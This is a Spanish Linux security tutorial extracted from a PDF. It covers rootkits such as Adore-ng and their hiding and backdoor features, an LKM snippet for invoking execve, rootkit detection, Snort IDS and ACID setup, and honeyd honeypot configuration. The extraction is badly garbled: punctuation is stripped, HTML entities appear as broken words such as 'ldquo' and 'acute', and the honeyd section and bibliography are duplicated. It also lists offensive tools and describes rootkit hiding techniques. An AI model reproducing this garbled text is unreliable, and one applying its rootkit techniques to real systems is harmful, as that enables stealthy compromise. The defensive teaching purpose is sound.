Para crear los sistemas virtuales debemos editar el contenido de ldquousrsharehoneydrdquo en mi caso para conseguir nuestro objetivo de simulacioacuten por ejemplo tenemos el fichero ldquoconfigrdquo concretamente configsample que es un ejemplo de configuracioacuten lo probamos copiando honeydconf dentro de etc (en mi caso particular)

Su contenido se muestra a continuacioacuten

route entry 10001 route 10001 link 1020024 route 10001 add net 1030016 10301 latency 8ms bandwidth 10Mbps route 10301 link 1030024 route 10301 add net 1031024 10311 latency 7ms loss 05 route 10311 link 1031024

Example of a simple host template and its binding create template set template personality Microsoft Windows XP Professional SP1 set template uptime 1728650 set template maxfds 35 add template tcp port 80 scriptsiis5netmainpl add template tcp port 22 sh scriptstestsh $ipsrc $dport add template tcp port 23 proxy $ipsrc23 add template udp port 53 proxy 1412119214153 set template default tcp action reset

create default set default default tcp action block set default default udp action block set default default icmp action block

create router

Kernel hacks y seguridad JMP

set router personality Cisco 1601R router running IOS 121(5)set router default tcp action resetadd router tcp port 22 scriptstestshadd router tcp port 23 scriptsrouter-telnetpl

bind 10301 routerbind 10311 routerbind 103112 templatebind 103111 templatebind 103110 templateset 103111 personality Microsoft Windows NT 40 SP3set 103110 personality IBM AIX 42

De igual forma podemos editar el resto de ficheros de intereacutes para modificar lo que queramos no obstante cubrir todas las posibilidades va maacutes allaacute de lo que se persigue en este trabajo La documentacioacuten on-line puede solucionar cualquier duda al respecto

Para probar el sistema podemos usar herramientas de analisis y escaneo de puertos como Nmap ping hping traceroute etc

3- Otros usos

Podemos usar tambieacuten los honeypots para automatizar tareas por ejemplo para limpiar gusanos que han infectado nuestra red imitando el proceso de infeccioacuten pero haciendo que el honeypot lleve a cabo el envio de un programa que limpie el gusano en lugar de propagarlo ejecutando su payload Es solo una idea de todo lo que podemos hacer con un honeypot

Listado de programas yo utilidades para el anaacutelisis de redes y auditorias

acid hping netcat6 sec aimsniff httping netdiscover sflowtool amap hunt nethogs sguil-client angst hydra neti sguil-sensor argus hyperic-hq-agent netio sguil-server arping ibmonitor netleds_applet siphon arpoison ifmetric netperf slurm arp-sk ifstat netselect sniffit arpwatch iftop net-snmp snmpmon authforce ike-scan netspeed_applet snmptt barnyard ipac-ng nettop snort bigeye ipaudit netwag snortalog bing ipcad netwatch snortsam bmon iplog netwox sonar braa ippl ngrep squid-graph bwm-ng iptraf nikto squidsites bwmon iptstate nload ssldump cacti isic nmap sussen cacti-cactid jnettop nmbscan tcpdump calamaris knetscan nomad tcpflow chaosreader knocker ns tcpick cheops-ng labrea nsat tcpreen cnet lft nstats tcpreplay cryptcat libnasl ntop tcpslice cutter linkchecker nttcp tcpstat darkstat macchanger oinkmaster tcptrace

Kernel hacks y seguridad JMP

dnstracer mbrowse p0f tcptraceroute driftnet metadataxml packit tcptrack dsniff metasploit paketto thcrut echoping midas-nms pinger thrulay egressor mirmon pktstat tleds etherape mping pmacct tptest ethereal mrtg poink traceproto ethloop mtr portmon traceroute ethstatus mwcollect portsentry traceroute-nanog ettercap nagios postal trafd fail2ban nagios-core prelude-nagios traffic-vis ffp nagios-imagepack prelude-nessus trafshow firewalk nagios-nrpe prelude-nids ttcp FlowScan nagios-nsca prewikka ttt flow-tools nagios-plugins quidscor upnpscan fping nam rain vnstat fprobe nast rrdtool xnetload fragroute nb rtg xprobe ftester nbaudit sancp xtraceroute fwlogwatch nbtscan sara zabbix-agent gensink nepenthes sarg zabbix-frontend gnome-netstatus nessus sbd zabbix-server gnome-nettool nessus-core scanlogd zodiac gnu-netcat nessus-libraries scanssh gspoof nessus-plugins scapy honeyd netcat scli

Conclusiones

Con los honeypots ya tenemos un punto maacutes que sumar a nuestra seguridad en la red no obstante hay que decir que el mal uso y configuracioacuten del mismo puede provocar tambieacuten alguacuten problema si no se tiene cuidado por lo que el administrador debe ser cauto

ldquoLa puerta mejor cerrada es la que se puede dejar abiertardquo

Trabajo realizado y distribuido a la comunidad por Jose Miguel Porcel G

Kernel hacks y seguridad JMP

BIBLIOGRAFIacuteA Y RECURSOS EN INTERNET

kernel hacks

Programacioacuten ldquoLinux 20rdquo API de sistema y funcionamiento del nuacutecleo Reacutemy Card Eric Dumas Franck Meacutevel editorial ldquoEyrollesrdquo

Coacutedigo fuente de ldquoAdore-ngrdquo

Material de las conferencias del ldquoHackandalusrdquo hackmeeting

HowTo de wwwtldporg sobre ldquoLoadable Kernel Modulesrdquo

Kernelnewbies httpeskernelnewbiesorg

Internet Relay Chat en ircfreenodenet

Artiacuteculo ldquoRootkits The r00t of Digital Evilrdquo

httpwwwomninerdcom20051122articles43

Phrack ldquoHiding Out Under Unixrdquo

Documento PDF DIMVA 2004 DFN-CERT por Andreas Bunten

Documento PDF ldquoRootkit Attacker undercover toolsrdquo por Saliman Manap

Presentacioacuten ldquoUtilizacioacuten de una funcioacuten del sistema operativo por un usuariordquo de SCandela (Universidad de las Palmas de Gran Canaria)

Documentacioacuten del sistema operativo Gentoo y Debian ldquoPotatordquo asiacute como el coacutedigo fuente del Kernel tanto 22 como 24 y 26 wwwkernelorg

Anaacutelisis del rootkit ldquoT0rnrdquo httpwwwsansorgy2kt0rnhtm

Snort NIDS

Documentacioacuten y coacutedigo del sitio web oficial de Snort (wwwsnortorg) y ACID

OReilly ldquoManaging Security with Snort and IDS Toolsrdquo de Kerry JCox y Christopher Gerg Agosto 2004

Artiacuteculo httplinucaorgbodyphtmlnIdNoticia=13 ldquosnort+mysql+acidrdquo

Honeyd

Documentacioacuten del propio programa y web oficial (honeydorg)

Kernel hacks y seguridad JMP

Page 28: Kernel, Hacks y Seguridad en Linux - Rootkits, IDS y Honeypots

Kernel hacks y seguridad JMP

inicio

int mi_execve(const char filen char const argv [] char const envp[])int errnolong __res __asm__ volatile (int $0x80 =a (__res)

0 (__NR_mi_execve)b ((long)(filen)) c ((long)(argv)) d ((long)(envp)))

__syscall_return(long__res)

final

Ese seriacutea el coacutedigo a usar para poder tratar con execve() desde el nuacutecleo con un LKM

10- Rootkits visioacuten general

Con lo que hemos ido viendo en este trabajo salta a la vista que tpodemos desarrollar aplicaciones maacutes que intersantes de cara a su uso en sistemas comprometidos una vez descubierta una vulnerabilidad en un sistema y tras el eacutexito en su explotacioacuten procedemos a obtener y asegurar un mayor control sobre el host

Los rootkits son hoy por hoy uno de los mecanismos maacutes sofisticados para conseguir ese objetivo Se trata de un kit de herramientas que permiten al atacante mantenere el control total sobre el sistema de forma continuada con los maacuteximos privilegios y siempre intentando hacerlo de forma indetectable para los administradores del sistema yo de la red

De los primeros rootkits en la historia de los sistemas ldquounix-likerdquo hay que destacar dos el rootkit de SunOS4 y el Linux Root Kit ldquolrk3rdquo (Diciembre 1996) Maacutes ejemplos seriacutean ldquoheroincrdquo y luego Knark como consecuencia de este nuevo tipo de teacutecnicas

Uno de los primeros textos al respecto distribuido en Internet fue ldquoHiding Out Under Unix rdquo por Black Tie Affair (Phrack vol3 issue 25 1989) Ni que decir tiene que el presente documento estaacute bastante maacutes avanzado que ese texto y va mucho maacutes allaacute

Tal y como se ha ido viendo en el presente trabajo y a medida que el Kernel se ha ido desarrollando el tema ha ido avanzando bastante y han surgido todo tipo de rootkits no solo para los sistemas Solaris Unix o Linux sino tambieacuten para FreeBSD y Windows entre otros

Los rootkits actuales no utilizan los mismos vectores de ataque sino que muchos se apoyan en otras teacutecnicas distintas a las contempladas por mi en este trabajo ademaacutes hay que comentar que la efectividad de un rootkit pasa tambieacuten por mantener su coacutedigo fuente oculto al uso puacuteblico a las empresas y los desarrolladores de soluciones para la seguridad

Kernel hacks y seguridad JMP

Ejemplo de un rootkit moderno ldquoAdore-ngrdquo

Adore-ng es un interesante (pero conocido) rootkit que puede funcionar en los kernels maacutes recientes sin problema alguno para intentar mantenerse oculto e indetectable utiliza una novedad respecto a muchos rootkits ya que no usa sys_call_table [] sino que se basa en la redireccioacuten a nivel de capa VFS de Linux ademaacutes tiene una utilidad para infectar moacutedulos cargados en el nuacutecleo Un interesante atiacuteculo por parte de ldquoStealthrdquo (junto con el grupo TESO son autores de Adore) es ldquoKernel Rootkit Experiencesrdquo donde habla de sus experiencias como autor de Adore y la situacioacuten en aquel momento de la investigacioacuten sobre nuevas teacutenicas entre otras cosas aunque no se trata de un texto extenso

Sus caracteriacutesticas ldquobaacutesicasrdquo vienen incluidas en el fichero FEATURES de mi descarga de Adoreshyng de Internet e indica ndash entre otras cosas- lo siguiente

Runs on kernel 24x UP and SMP systems

First test-versions successfully run on 260

File and directory hiding

Process hiding

Socket-hiding (no matter whether LISTENing CONNECTED etc)

Full-capability back door

Does not utilize sys_call_table but VFS layer

KISS principle to have as less things in there as possible but also being as much powerful as possible

Por otro lado el fichero README indica el proceso de instalacioacuten de Adore Tras su compilacioacuten y

Kernel hacks y seguridad JMP

carga en el sistema (requiere privilegios de root) podremos usar el cliente AVA para comunicarnos con la parte ldquoservidorardquo de Adore-ng aunque explicar el uso de este rootkit al detalle queda fuera de las pretensiones de este texto y en ninguacuten caso aporta nada de intereacutes adicional puesto que no es el objetivo hacer de script kiddie con Adore

La siguiente tabla introduce al famoso rootkit ldquoSucKITrdquo para mostrar algunos datos de intereacutes

Adore ~034 SucKIT Adore-ng gt=131

Interceptando el flujo de ejecucioacuten

Syscalltable Syscall handler VFS

Transferencia coacutedigo dentro del Kernel

LKM Acceso directo (raw shycrudo) a memoria

LKM

Incluye puerta trasera - Siacute -

Mecanismos de recarga - sbininit Herramienta para infeccioacuten LKMs

Tabla Comparativa de algunos rootkits

Medidas de proteccioacuten y deteccioacuten de rootkits

Aunque no es el objetivo del documento explicar las teacutecnicas de deteccioacuten de rootkits y puertas traseras de forma exhaustiva se comentan a continuacioacuten algunas utilidades praacutecticas para protegerse de este tipo de software en nuestros sistemas

Una de las maneras maacutes directas es chequear Systemmap con las direcciones de memoria de las syscalls actuales en principio deberian ser las mismas pero si un rootkit modifica la direccioacuten a la que apunta la syscall podremos notar que hay una diferencia cierto offset de la syscall original y la suplantada Existen varios programas en entorno de usuario que permiten hacer esto sin excesiva complicacioacuten

Aquiacute se muestra el inicio del fichero usrsrclinuxSystemmap

linux head Systemmap

00100000 A phys_startup_32c0100000 A _textc0100000 T startup_32c01000c6 t checkCPUtypec0100147 t is486c010014e t is386c0100199 t L6c010019b t check_x87c01001c2 t setup_idtc01001df t rp_sidt

Kernel hacks y seguridad JMP

Otros meacutetodos tiacutepicos

Checksums de ficheros importantes (tripwire aide etc)

Backup de las estructuras centrales del kernel (kstat)

LKMs anti-rootkit

Herramientas forenses (TCT)

Analisis de logs etc

Utilidades para la deteccioacuten (rkhunter chkrootkit)

Enlaces en Internet para la descarga de utilidades e informacioacuten sobre las herramientas

httpwwwchkrootkitorg

httpwwwrootkitorg

Conclusiones

Las aplicaciones que tiene hackear el Kernel son varias desde el punto de vista de la seguridad y es que lo mismo podemos demoler la seguridad de un sistema troyanizando absolutamente todo el sistema como dotar al entorno de habilidades especiales para controlar al miliacutemetro todo lo que sucede y poder hacer un seguimiento exhaustivo de las acciones de un atacante

Kernel hacks y seguridad JMP

Snort el cerdito valiente

SNORT es us sistema para la deteccioacuten de intrusos OpenSource que nos permite monitorear el traacutefico de nuestra red y detectar vulnerabilidades conocidas asiacute como todo tipo de ataques conocidos a nuestra red

Su instalacioacuten es relativamente sencilla y no supone una carga importante para el sistema por lo que se recomienda su uso como medida de seguridad adicional combinando SNORT con otros sistemas y un buen firewall restrictivo aumentamos considerablemente la seguridad en nuestra red y el seguimiento de posibles incidencias

Wreski y Christopher Pallack en Linuxsecuritycom

ldquo A Network Intrusion Detection System (NIDS) is a system that is responsible for detecting anamolous inappropriate or other data that may be considered unauthorized occuring on a network Unlike a firewall w hich is configured to allow or deny access to a particular service or host based on a set of rules If the traffic matches an acceptible pattern it is permitted regardless of what the packet contains However an NIDS captures and inspects all traffic re gardless of whether its permitted or not Based on the contents at either the IP or application level an alert is generated

Snort is a lightweight NIDS in that it is non-intrusive easily configured utilizes familiar methods for rule development and takes only a few minutes to install Snort currently includes the ability to detect more than 1100 potential vulnerabilities Keep in mind that Intrusion Detection devices work in conjunction with other security measures and are not a replacement for other good security practices ldquo

Kernel hacks y seguridad JMP

1- Preparando el entorno de trabajo

Lo primero que tenemos que hacer es obtener una copia de Snort para nuestra distribucioacuten de Linux (ya que vamos a trabajar en esta plafatorma) por lo que tendremos que usar los mecanismos apropiados en nuestra distribucioacuten en mi caso particular

root emerge -pv snort

These are the packages that I would merge in order

Calculating dependencies done [ebuild R ] net-analyzersnort-243 -flexresp -inline +mysql -odbc shypostgres -prelude (-selinux) -sguil -snortsam +ssl 0 kB

Total size of downloads 0 kB

No obstante podemos obtener los paquetes y el coacutedigo fuente de la URL

httpwwwsnortorgdl

Una vez instalado Snort procederemos a su configuracioacuten tal y como iremos viendo antes de proceder a arrancar el servicio

2- Configuracioacuten baacutesica de Snort

Para empezar debemos buscar un fichero llamado ldquosnortconfrdquo que contiene la configuracioacuten de

Kernel hacks y seguridad JMP

Snort Dicho fichero se puede encontrar en

etcsnortsnortconf

pero puede que esteacute ubicado en otra localizacioacuten dependiendo de tu distribucioacuten en mi caso trabajo con Gentoo Linux asi que de ahora en adelante habraacute que tener este pequentildeo matiz en consideracioacuten para el futuro

Antes de empezar es aconsejable realizar una copia del fichero original es posible que ya se haya incluido dicha copia con el paquete de Snort no obstante es muy aconsejable hacerlo sino es el caso

El fichero trae comentarios detallados sobre la funcionalidad de las directivas de Snort por lo que en el presente documento solamente se trataraacute de forma general sin entrar en excesivos detalles sobre absolutamente todas las opciones que Snort trae con el objetivo de no alargar el documento de forma innecesaria

Tal y como nos indica el inicio del fichero son 5 los pasos a seguir en ese fichero

1 Establecer las variables para nuestra red

2 Configurar el preprocesador de Snort

3 Configurar los plugins de salida

4 Antildeadir directivas para la configuracioacuten en ejecucioacuten de Snort

5 Personalizar nuestro set de reglas para Snort

La figura anterior desglosa las partes en las que Snort se compone para llevar a cabo su tarea

Paso 1

Debemos indicar como estaacute montada nuestra red e identificarnos no es buena idea dejar esto con un valor ldquoanyrdquo o por defecto asiacute que lo modificamos como sea necesario

Kernel hacks y seguridad JMP

var HOME_NET 1921681124 o bien var HOME_NET $eth0_ADDRESS

Maacutes de lo mismo indicamos los hosts que forman nuestra red podemos hacerlo de varias manera y esta es la maacutes adecuada para redes locales medianas o grandes

var HOME_NET 1921681124

Ahora configuramos la red externa con el valor ldquocualquierardquo es un buen comienzo

var EXTERNAL_NET any

Indicamos la lista de servidores DNS SMTP etc de nuestra red si los hay

var DNS_SERVERS $HOME_NET

var SMTP_SERVERS $HOME_NET

[]

Ahora viene un paso importante que es definir los puertos con servicios que Snort debe vigilar y sobre los cuales se desean detectar ataques si tenemos un servidor web (tiacutepicamente Apache en el puerto 80) podemos hacer lo que se muestra en el ejemplo siguiente indicaacutendolo de manera continua (221024) o por puertos individuales (212253808080 ) Tambieacuten podemos incluir ficheros de reglas tal y como se muestra en los ejemplos dentro del fichero de configuracioacuten

var HTTP_PORTS 80 var BO-BACKDOOR 31337

var NO_SSH 22 include mis_directivasrules

Ahora podemos configurar ciertos aspectos del decodificador de Snort hecho esto podemos pasar a la configuracioacuten del motor de deteccioacuten Si andamos escasos de recursos en nuestra maacutequina es MUY recomendable usar

config detection search-method lowmem

Paso 2

Podemos habilitar soporte para defragmentacioacuten IP asiacute podremos detectar cierto tipo de ataques (DoS normalmente) que usen esa teacutecnica asiacute como evitar la evasioacuten de Snort mediante teacutecnicas maacutes o menos avanzadas

Por ejemplo preprocessor frag2

Kernel hacks y seguridad JMP

preprocessor frag3_global max_frags 65536 preprocessor frag3_engine policy first detect_anomalies

Stateful-inspection y Stream Reassembly si queremos detectar ataques de escaneo de puertos ocultos tiacutepicamente Syn-Stealth o de cualquier otro tipo asiacute como otros ataques baacutesicos esta es la seccioacuten a modificar Por ejemplo

preprocessor stream4 detect_scans

preprocessor stream4_reassemble

Performance Statistics tal y como dice el fichero aquiacute hay MUCHAS posibilidades que no se van a tratar aquiacute asiacute que lo mejor seraacute mirar el propio manual y documentacioacuten de Snort al respecto Lo dejaremos con los valores por defecto recomendados

A continuacioacuten hay algunas directivas sobre la inspeccioacuten de traacutefico de Back Oriffice (troyano miacutetico del grupo Cult Of Dead Cow) traacutefico RPC posible ARP spoof traacutefico Telnet etc A configurar a gusto del consumidor o bien dejamos los valores por defecto

Paso 3

Aquiacute podemos indicar cosas referentes al formato de salida de logs y demaacutes por ejemplo en el formato de ldquotcpdumprdquo en una base de datos (MySQL) salida por el Syslog de sistema

Paso 4

Aquiacute podemos leer el manual para obtener informacioacuten detallada de las posibilidades para personalizar un poco maacutes el funcionamiento de Snort es un tema que no vamos a cubrir ahora por lo que podemos dejara los valores por defecto recomendados

Paso 5

Ahora podemos antildeadir nuestras propias reglas para la deteccioacuten de actividad sospechosa u ataques a nuestra red Este tema lo tratamos a continuacioacuten por separado podemos obtener reglas pre-configuradas de Internet aparte de las que el mismo Snort trae consigo

3- Descargando nuevas reglas desde Internet

Gracias al esfuerzo de la comunidad por mantener las cosas en orden y seguras podemos ir actualizando nuestro set de reglas o descargar nuevas funcionalidades la primera web recomendada (aunque no la uacutenica al respecto) y a la que me voy a limitar es

httpwwwsnortorgrules

yo

Kernel hacks y seguridad JMP

httpwwwsnortorgpub-bindownloadscgi

Nos basta con descomprimir las reglas y ajustar la configuracioacuten de snortconf como sea necesario para apuntar a los ficheros de reglas que queremos habilitar

Por supuesto podemos crear nuestras propias reglas para saber como hacerlo es mejor - una vez maacutes ndash mirar la documentacioacuten actualizada de Snort al respecto

4- Prevencioacuten de intrusiones

Aquiacute se muestra Snort actuando como interceptor de sesiones se trata de examinar las sesiones establecidas por un atacante y sus intentos si algo resulta hostil se envia un paquete RST para terminar la conexioacuten de inmediato En el ejemplo tras el intento de atacar el servidor apache se da por terminada la sesioacuten expliacutecitamente gracias a Snort

Nota Tanto el firewall como Snort y el servidor web estaacuten conectados entre si el servidor apache accesible desde el exterior estaacute situado en la DMZ

Ahora Snort (con el parche inlineIPS aplicado) actuacutea como firewall-routerIPS estando como Gateway

httpsnort-inlinesourceforgenet (configure - -enable-inline)

Una vez detectado traacutefico hostil fruto de un ataque el traacutefico futuro del host atacante seraacute bloqueado

Kernel hacks y seguridad JMP

Para terminar se muestra otro ejemplo con el plugin SnortSAM en el que cuando un ataque se detecta se pide al router el bloqueo del traacutefico entrante del host origen del ataque Si el host antes de ser bloqueado abre una puerta trasera con otro host bajo su control esto puede suponer un riesgo para la seguridad de la red

httpwwwsnortsamnet

5- Usando ACID + SNORT

Con ACID pretendemos encontrar un mecanismo de control y uso centralizado de SNORT simplificado accesible viacutea web

Kernel hacks y seguridad JMP

La instalacioacuten de Snort con ACID (Analysis Console for Intrusion Detection) pasa por una serie de requisitos y dependencias podemos echar un vistazo al sitio web de ACID para descargar el software y documentacioacuten

httpacidlabsourceforgenet

La versioacuten maacutes reciente de ACID es ahora 096_beta23 (seguacuten Portage en mi distribucioacuten no he mirado el CVS) se recomienda tener precauciones respecto a las posibles vulnerabilidades en el coacutedigo de la aplicacioacuten que puedan ir surgiendo mientras el software adquiere un mayor nivel de maduracioacuten en el desarrollo

Luego necesitaremos a ser posible

Apache soporte GD OpenSSL MySQL

PHP soporte GD OpenSSL MySQL

MySQL

ACID soporte adodb jpgraph phplot GD

Y claro esta Snort con soporte para MySQL

Procederemos a instalar los paquetes y configurar una nueva bases de datos para Snort en MySQL usando para ello la estructura que se nos facilita en los paquetes para la instalacioacuten para crear las tablas en la base de datos Tambieacuten daremos de alta un usuario en MySQL con los privilegios estrictamente necesarios

Ejemplo

$ mysql -u root -p

mysql gt CREATE DATABASE snort

mysql gt GRANT ALL ON snort to rootlocalhost identified by password

$ mysql -u root -p pass lt usrsrcsnort-xxschemascreate_mysql_snort

Necesitaremos descargar los paquetes y descomprimirlos bajo el Document Root de nuestro servidor WEB (Apache) varwwwhtdocs por ejemplo Por tanto es importante respetar el orden en la instalacioacuten de las dependencias

Lo siguiente muestra alguna de la informacioacuten que hay que editar del fichero ldquoacid_confphprdquo para que todo funcione correctamente con la base de datos MySQL Una vez instalado bastaraacute con visualizar la consola ACID desde nuestro navegador apuntando a la URL donde hemos instalado todo por ejemplo http127001acid

Alert DB connection parameters

Kernel hacks y seguridad JMP

- $alert_dbname MySQL database name of Snort alert DB

- $alert_host host on which the DB is stored

- $alert_port port on which to access the DB

- $alert_user login to the database with this user

- $alert_password password of the DB user

This information can be gleaned from the Snort database

output plugin configuration

$alert_dbname = snort_log

$alert_host = localhost

$alert_port =

$alert_user = root

$alert_password = mypassword

Archive DB connection parameters

$archive_dbname = snort_archive

$archive_host = localhost

$archive_port =

$archive_user = root

$archive_password = mypassword

Esquema baacutesico de la base de datos de ACID y su funcionamiento con Snort

Kernel hacks y seguridad JMP

Creacioacuten de reglas propias para Snort

Podemos separar las reglas en grandes bloques accioacuten+cabecera y opciones

CABECERA

Accioacuten de la regla alert

Protocolo tcp udp

Direccion IP origen $EXTERNAL_NET

Puerto IP origen any

Direccion IP destino $HOME_NET

Puerto IP destino any

Direccioacuten de la operacioacuten -gt (puede ser -gt lt- ltgt)

OPCIONES

Mensaje ldquohola directivardquo

Opciones flags Aack 0 reference

Ej drop tcp any any -gt any 22 (classtypeattempted-user msgrdquoIntento de conectar al puerto SSHrdquo)

El coacutedigo anterior haraacute que las conexiones al puerto 22 sean logueadas y bloqueadas una vez antildeadida la regla dentro de las directivas de Snort

Para documentacioacuten detallada y actualizada sobre las reglas de Snort y lo referente a las opciones se recomienda visitar el sitio oficial de Snort en Internet wwwsnortorg

Conclusiones

Debido a que un cortafuegos no es una medida realmente segura para proteger nuestra red se hace necesario detectar aquellos ataques que se realizan con eacutexito contra nuestros sistemas Los sistemas de deteccioacuten y de prevencioacuten de intrusiones ndash Snort en el caso que nos ocupa ndash junto con poliacuteticas de seguridad adicionales como SELinux y GRSecurity nos brindan un nivel de seguridad mucho mayor asiacute como la capacidad de estudiar posibles ataques para poder evitarlos en un futuro

Una vez maacutes la soluciones opensource estaacuten muy por encima en calidadprecio con respecto a otras alternativas comerciales

Kernel hacks y seguridad JMP

Honeypots

Una de las teacutecnicas maacutes habituales para proteger nuestras redes y aprender de nuestros atacantes es usar sistemas abiertos con el fin de atraer (o distraer) la atencioacuten de nuestros posibles intrusos

Los honeypots son simplemente eso sentildeuelos que nos permiten mantener la red un poco maacutes protegida mientras estos sistemas son comprometidos y controlados a voluntad por el administrador del sistema

Aunque existen muchas soluciones para implementar honeypots en este trabajo se trataraacute principalmente con ldquoHoneydrdquo

Kernel hacks y seguridad JMP

1- Preparando el entorno de trabajo

Lo primero que habraacute que hacer es obtener una copia de ldquoHoneydrdquo y opcionalmente ldquoArpdrdquo compilarlas e instalarlas en el sistema que pretende hacer de sentildeuelo estaacute claro que no hay que instalarlo en un equipo en produccioacuten P

net-analyzerhoneyd Latest version available 10-r1 Latest version installed 10-r1

Size of downloaded files 2566 kB Homepage httpwwwcitiumicheduuprovoshoneyd Description Honeyd is a small daemon that creates virtual hosts on a network License GPL-2

De las siguientes direcciones nos interesa ademaacutes toda la documentacioacuten que podamos encontrar al respecto

httpwwwhoneydorg

httpwwwcitiumicheduuprovoshoneyd

Debemos editar el fichero de configuracioacuten para establecer nuestras preferencias como sea necesario y arrancar el servicio honeyd

Config file for etcinitdhoneyd

Set Network addressHONEYD_NET=10001

HONEYD_IF=lo

HONEYD_LOG=varloghoneydlog

Set to 1 to enable (gt=honeyd-10)HONEYD_HTTPD=0HONEYD_HTTPD_PORT=80HONEYD_HTTPD_ROOT=usrsharehoneydwebserverhtdocs

Kernel hacks y seguridad JMP

Set preferred options here HONEYD_OPTS=-f etchoneydconf -p usrsharehoneydnmapprints

-x usrsharehoneydxprobe2conf -a usrsharehoneydnmapassoc

Otras alternativas a honeyd podriacutean ser sistemas como VMWare User Mode Linux etc

Un interesante ldquopaperrdquo es el de Lance Spitzner disponible en

httpwwwtracking-hackerscompapershoneypotshtml (9 May 2003)

2- Creando sistemas virtuales

Para crear los sistemas virtuales debemos editar el contenido de ldquousrsharehoneydrdquo en mi caso para conseguir nuestro objetivo de simulacioacuten por ejemplo tenemos el fichero ldquoconfigrdquo concretamente configsample que es un ejemplo de configuracioacuten lo probamos copiando honeydconf dentro de etc (en mi caso particular)

Su contenido se muestra a continuacioacuten

route entry 10001 route 10001 link 1020024 route 10001 add net 1030016 10301 latency 8ms bandwidth 10Mbps route 10301 link 1030024 route 10301 add net 1031024 10311 latency 7ms loss 05 route 10311 link 1031024

Example of a simple host template and its binding create template set template personality Microsoft Windows XP Professional SP1 set template uptime 1728650 set template maxfds 35 add template tcp port 80 scriptsiis5netmainpl add template tcp port 22 sh scriptstestsh $ipsrc $dport add template tcp port 23 proxy $ipsrc23 add template udp port 53 proxy 1412119214153 set template default tcp action reset

create default set default default tcp action block set default default udp action block set default default icmp action block

create router

Kernel hacks y seguridad JMP

set router personality Cisco 1601R router running IOS 121(5)set router default tcp action resetadd router tcp port 22 scriptstestshadd router tcp port 23 scriptsrouter-telnetpl

bind 10301 routerbind 10311 routerbind 103112 templatebind 103111 templatebind 103110 templateset 103111 personality Microsoft Windows NT 40 SP3set 103110 personality IBM AIX 42

De igual forma podemos editar el resto de ficheros de intereacutes para modificar lo que queramos no obstante cubrir todas las posibilidades va maacutes allaacute de lo que se persigue en este trabajo La documentacioacuten on-line puede solucionar cualquier duda al respecto

Para probar el sistema podemos usar herramientas de analisis y escaneo de puertos como Nmap ping hping traceroute etc

3- Otros usos

Podemos usar tambieacuten los honeypots para automatizar tareas por ejemplo para limpiar gusanos que han infectado nuestra red imitando el proceso de infeccioacuten pero haciendo que el honeypot lleve a cabo el envio de un programa que limpie el gusano en lugar de propagarlo ejecutando su payload Es solo una idea de todo lo que podemos hacer con un honeypot

Listado de programas yo utilidades para el anaacutelisis de redes y auditorias

acid hping netcat6 sec aimsniff httping netdiscover sflowtool amap hunt nethogs sguil-client angst hydra neti sguil-sensor argus hyperic-hq-agent netio sguil-server arping ibmonitor netleds_applet siphon arpoison ifmetric netperf slurm arp-sk ifstat netselect sniffit arpwatch iftop net-snmp snmpmon authforce ike-scan netspeed_applet snmptt barnyard ipac-ng nettop snort bigeye ipaudit netwag snortalog bing ipcad netwatch snortsam bmon iplog netwox sonar braa ippl ngrep squid-graph bwm-ng iptraf nikto squidsites bwmon iptstate nload ssldump cacti isic nmap sussen cacti-cactid jnettop nmbscan tcpdump calamaris knetscan nomad tcpflow chaosreader knocker ns tcpick cheops-ng labrea nsat tcpreen cnet lft nstats tcpreplay cryptcat libnasl ntop tcpslice cutter linkchecker nttcp tcpstat darkstat macchanger oinkmaster tcptrace

Kernel hacks y seguridad JMP

dnstracer mbrowse p0f tcptraceroute driftnet metadataxml packit tcptrack dsniff metasploit paketto thcrut echoping midas-nms pinger thrulay egressor mirmon pktstat tleds etherape mping pmacct tptest ethereal mrtg poink traceproto ethloop mtr portmon traceroute ethstatus mwcollect portsentry traceroute-nanog ettercap nagios postal trafd fail2ban nagios-core prelude-nagios traffic-vis ffp nagios-imagepack prelude-nessus trafshow firewalk nagios-nrpe prelude-nids ttcp FlowScan nagios-nsca prewikka ttt flow-tools nagios-plugins quidscor upnpscan fping nam rain vnstat fprobe nast rrdtool xnetload fragroute nb rtg xprobe ftester nbaudit sancp xtraceroute fwlogwatch nbtscan sara zabbix-agent gensink nepenthes sarg zabbix-frontend gnome-netstatus nessus sbd zabbix-server gnome-nettool nessus-core scanlogd zodiac gnu-netcat nessus-libraries scanssh gspoof nessus-plugins scapy honeyd netcat scli

Conclusiones

Con los honeypots ya tenemos un punto maacutes que sumar a nuestra seguridad en la red no obstante hay que decir que el mal uso y configuracioacuten del mismo puede provocar tambieacuten alguacuten problema si no se tiene cuidado por lo que el administrador debe ser cauto

ldquoLa puerta mejor cerrada es la que se puede dejar abiertardquo

Trabajo realizado y distribuido a la comunidad por Jose Miguel Porcel G

Kernel hacks y seguridad JMP

BIBLIOGRAFIacuteA Y RECURSOS EN INTERNET

kernel hacks

Programacioacuten ldquoLinux 20rdquo API de sistema y funcionamiento del nuacutecleo Reacutemy Card Eric Dumas Franck Meacutevel editorial ldquoEyrollesrdquo

Coacutedigo fuente de ldquoAdore-ngrdquo

Material de las conferencias del ldquoHackandalusrdquo hackmeeting

HowTo de wwwtldporg sobre ldquoLoadable Kernel Modulesrdquo

Kernelnewbies httpeskernelnewbiesorg

Internet Relay Chat en ircfreenodenet

Artiacuteculo ldquoRootkits The r00t of Digital Evilrdquo

httpwwwomninerdcom20051122articles43

Phrack ldquoHiding Out Under Unixrdquo

Documento PDF DIMVA 2004 DFN-CERT por Andreas Bunten

Documento PDF ldquoRootkit Attacker undercover toolsrdquo por Saliman Manap

Presentacioacuten ldquoUtilizacioacuten de una funcioacuten del sistema operativo por un usuariordquo de SCandela (Universidad de las Palmas de Gran Canaria)

Documentacioacuten del sistema operativo Gentoo y Debian ldquoPotatordquo asiacute como el coacutedigo fuente del Kernel tanto 22 como 24 y 26 wwwkernelorg

Anaacutelisis del rootkit ldquoT0rnrdquo httpwwwsansorgy2kt0rnhtm

Snort NIDS

Documentacioacuten y coacutedigo del sitio web oficial de Snort (wwwsnortorg) y ACID

OReilly ldquoManaging Security with Snort and IDS Toolsrdquo de Kerry JCox y Christopher Gerg Agosto 2004

Artiacuteculo httplinucaorgbodyphtmlnIdNoticia=13 ldquosnort+mysql+acidrdquo

Honeyd

Documentacioacuten del propio programa y web oficial (honeydorg)

Kernel hacks y seguridad JMP

Page 29: Kernel, Hacks y Seguridad en Linux - Rootkits, IDS y Honeypots

Kernel hacks y seguridad JMP

Ejemplo de un rootkit moderno ldquoAdore-ngrdquo

